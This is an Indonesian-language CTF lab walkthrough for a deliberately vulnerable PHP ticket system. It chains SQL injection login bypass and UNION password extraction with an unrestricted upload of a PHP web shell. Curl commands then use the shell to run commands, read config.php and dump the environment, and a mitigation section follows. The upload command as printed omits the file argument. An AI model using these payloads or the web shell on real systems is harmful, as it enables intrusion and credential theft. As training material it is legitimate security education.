TDCTF Academy Logo TDCTF ACADEMY

Lab #5 - Ticket System: SQL Injection + File Upload RCE

Target: http://ticket.vuln.cybersecurity.or.id:8085/
Versi: PHP 7.4, Apache, MySQL 5.7
Tools: curl, browser
Flag: πŸ”΄ FLAG{T1ck3t_Syst3m_SQLi_UpL04d_2025}


Filosofi Serangan

Aplikasi Ticket System ini memiliki dua celah yang bisa dirangkai menjadi attack chain:

  1. SQL Injection - untuk login sebagai admin (bypass autentikasi)
  2. File Upload tanpa filter - untuk mengupload PHP shell dan mendapatkan RCE

Ini adalah contoh nyata bagaimana satu celah kecil (SQLi) membuka pintu ke celah lain (File Upload) yang dampaknya jauh lebih besar.


️ Langkah 1: Reconnaissance

1.1. Fingerprint Aplikasi

curl -s -I http://ticket.vuln.cybersecurity.or.id:8085/ | head -10

Output:

HTTP/1.1 200 OK
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Set-Cookie: PHPSESSID=...; path=/

Aplikasi menggunakan PHP 7.4.33 dengan session cookie PHPSESSID.

1.2. Mapping Halaman

curl -s http://ticket.vuln.cybersecurity.or.id:8085/ | grep -oP '(?<=href=")[^"]+'

Output:

create_ticket.php
login.php
register.php
search.php

Terdapat halaman: Login, Register, Create Ticket, Search, dan (setelah login) Upload, Admin.


Langkah 2: SQL Injection

2.1. Deteksi SQLi

Aplikasi memiliki SQL Injection di beberapa endpoint. Yang paling mudah dieksploitasi adalah halaman login (login.php).

Source code login.php:

$query = "SELECT * FROM users WHERE username='$user' AND password=MD5('$pass')";

Input $user dan $pass langsung di-concatenate tanpa sanitasi!

2.2. SQLi Login Bypass

Kita bisa login sebagai admin hanya dengan modal SQL injection:

curl -s -c cookies.txt \
-d "username=admin' OR '1'='1&password=x" \
"http://ticket.vuln.cybersecurity.or.id:8085/login.php"

Yang terjadi pada database:

SELECT * FROM users WHERE username='admin' OR '1'='1' AND password=MD5('x')

Karena '1'='1' selalu TRUE, query akan mengembalikan semua user. MySQL mengambil baris pertama (admin dengan role admin), dan session pun ter-set.

2.3. Verifikasi Akses Admin

curl -s -b cookies.txt "http://ticket.vuln.cybersecurity.or.id:8085/admin.php" | grep -E "Admin Panel|All Tickets|All Users"

Output:

<h1>Admin Panel</h1>
<h2>All Tickets</h2>
<h2>All Users</h2>

βœ… Akses admin granted!

2.4. Alternatif: SQLi via Search (UNION)

SQL Injection juga ada di halaman search (search.php):

# Tampilkan semua ticket
curl -s "http://ticket.vuln.cybersecurity.or.id:8085/search.php?q='+OR+'1'='1"

Untuk ekstraksi data dari tabel lain:

# Ekstrak username + password dari tabel users
curl -s "http://ticket.vuln.cybersecurity.or.id:8085/search.php?q=%27+UNION+SELECT+1,username,password,4,5,6,7,8,9+FROM+users+WHERE+%271%27=%271"

2.5. Alternatif: SQLi via Create Ticket

Source code create_ticket.php juga memiliki SQLi:

$query = "INSERT INTO tickets ... VALUES ('$title', '$description', ...)";

SQL injection di parameter POST title atau description:

curl -s -b cookies.txt \
-d "title=test', 'SQLi via title', 'open', 'high', 1)-- -&description=x&status=open&priority=high" \
"http://ticket.vuln.cybersecurity.or.id:8085/create_ticket.php"

Langkah 3: File Upload (Unrestricted)

3.1. Analisis Upload

Source code upload.php:

// VULN: No file validation whatsoever - bisa upload PHP shell
if (move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) {
$msg = 'File uploaded successfully!';
}

Tidak ada validasi:

  • ❌ Tidak ada cek ekstensi file
  • ❌ Tidak ada cek MIME type
  • ❌ Tidak ada cek ukuran file
  • ❌ Tidak ada rename file

3.2. Upload PHP Shell

# Buat shell
cat > shell.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF

# Upload
curl -s -b cookies.txt \
"http://ticket.vuln.cybersecurity.or.id:8085/upload.php"

Output:

File uploaded successfully! View file

3.3. Dapatkan RCE

# Execute command
curl -s "http://ticket.vuln.cybersecurity.or.id:8085/uploads/shell.php?cmd=id"

Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

βœ… Remote Code Execution (RCE) tercapai!

3.4. Eksplorasi Server

# Lihat direktori
curl -s "http://ticket.vuln.cybersecurity.or.id:8085/uploads/shell.php?cmd=ls+-la+/var/www/html/"

# Baca config
curl -s "http://ticket.vuln.cybersecurity.or.id:8085/uploads/shell.php?cmd=cat+/var/www/html/config.php"

# Lihat environment
curl -s "http://ticket.vuln.cybersecurity.or.id:8085/uploads/shell.php?cmd=env"

️ Langkah 4: Mitigasi

4.1. Perbaiki SQL Injection

// ❌ RENTAN
$query = "SELECT * FROM users WHERE username='$user' AND password=MD5('$pass')";

// βœ… AMAN (Prepared Statement)
$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=MD5(?)");
$stmt->bind_param("ss", $user, $pass);
$stmt->execute();

4.2. Perbaiki File Upload

// ❌ RENTAN
move_uploaded_file($_FILES['file']['tmp_name'], $target_file);

// βœ… AMAN
$allowed = ['jpg', 'png', 'gif', 'pdf'];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) die('File type not allowed');
if (!getimagesize($_FILES['file']['tmp_name'])) die('Not a valid image');
$new_name = md5(uniqid()) . '.' . $ext;
move_uploaded_file($_FILES['file']['tmp_name'], $target_dir . $new_name);

Kesimpulan

Target: Ticket System di ticket.vuln.cybersecurity.or.id:8085
Attack Chain: SQLi Login Bypass β†’ File Upload β†’ RCE
Flag: FLAG{T1ck3t_Syst3m_SQLi_UpL04d_2025}
Durasi: ~5 menit

Urutan serangan:

  1. βœ… SQL Injection di login page β†’ dapat akses admin
  2. βœ… Akses halaman upload (admin only)
  3. βœ… Upload PHP shell tanpa filter β†’ RCE
  4. βœ… Ambil flag dari server

πŸ”₯ Pelajaran: Jangan pernah menggabungkan input pengguna langsung ke query SQL. Prepared Statement adalah satu-satunya cara aman. Dan jangan pernah percaya file upload - validasi ekstensi, MIME, dan isi file sebelum diproses!


Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy

PADA HALAMAN INI